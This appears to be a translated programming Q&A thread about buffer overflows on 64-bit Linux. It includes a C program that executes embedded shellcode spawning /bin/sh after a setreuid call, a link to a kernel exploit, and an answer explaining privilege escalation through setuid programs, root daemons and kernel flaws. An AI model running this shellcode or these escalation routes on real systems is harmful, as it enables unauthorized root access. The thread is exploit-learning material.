64位Linux上的缓冲区溢出

问题描述:

为了好玩,我一直在玩缓冲区溢出。我已经能够运行一些简单的漏洞。我一直在使用“C”代码来将包含shell代码的字符串转换为函数指针。这样做对我来说非常有趣,例如我从来没有假设函数指针可以允许用户执行代码,甚至在源代码中都没有进行硬编码。下面是一个简单的例子:64位Linux上的缓冲区溢出

#include <unistd.h> 



char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb" 
       "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89" 
       "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd" 
       "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f" 
       "\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"; 

int main(int argc, char **argv) 
{ 

     /*creating a function pointer*/ 

     char (*func)(); 

     func = (char (*)()) code; 
     func(); 



} 

这段小小的代码将在64位Linux上产生一个shell。问题是:是否可以使用shell脚本获得root权限?这将是非常有趣的尝试。 我发现在互联网上有一些shell脚本声称可以做到这一点,但是,他们只生产seg。当我尝试运行它们时出现故障。 如果有人能给我任何提示,我会很感激,不管这是否可能。 我也很感谢任何有趣的shell脚本。

干杯。

+0

据我所知,有可能通过内核代码低于3.8.9来做到这一点,肯定有些人正在运行。 但它不是通过bash脚本实现的。 http://www.exploit-db.com/exploits/26131/ 看一看。 – icbytes

+0

我正在运行我的实验的机器运行内核2.6.33.7。然而,代码形式的链接,你给我不起作用... :) –

+0

当然不是,因为从2.6和3.0内核有这么多的变化,这个漏洞是不正确的方式。你应该在我发布的链接上找到另一个有用的漏洞。尤其是2.6-er内核经常被开发,afaik。 网络上有很多演示,丹·罗森伯格详细解释了他的方法。 – icbytes

由于只有普通的缓冲区溢出,shell代码无法执行原始程序无法执行的任何操作,因此您需要实际的内核漏洞。

当您以root用户身份运行程序时,通常会得到root shell,或者是因为它们具有+s flag(set uid),或者因为它们是从系统外某处获取用户输入的守护进程。

Setuid程序是以不同的用户身份运行的程序,而不是您启动它们的程序。例如,以su为例,它由root拥有并且已设置,因此无论谁启动它,它都以root身份运行。然后该程序会尝试确认您可以升级权限并为您请求的用户生成一个shell。如果su中存在缓冲区溢出漏洞,并且您要将常规的有效负载放入其中,则最终会有一个root shell。

一个守护进程可能是一个web界面,它以根用户身份运行,以便做一些事情(也许它可以关闭电脑)。如果它有一个您可以从计算机外部访问的漏洞,就像HTTP头部中的缓冲区溢出一样,您可以再次生成一个root shell。

你看到可能利用了setuid() C函数(或类似的)的壳,它可以做同样的事情,+ S 过程是否足够特权。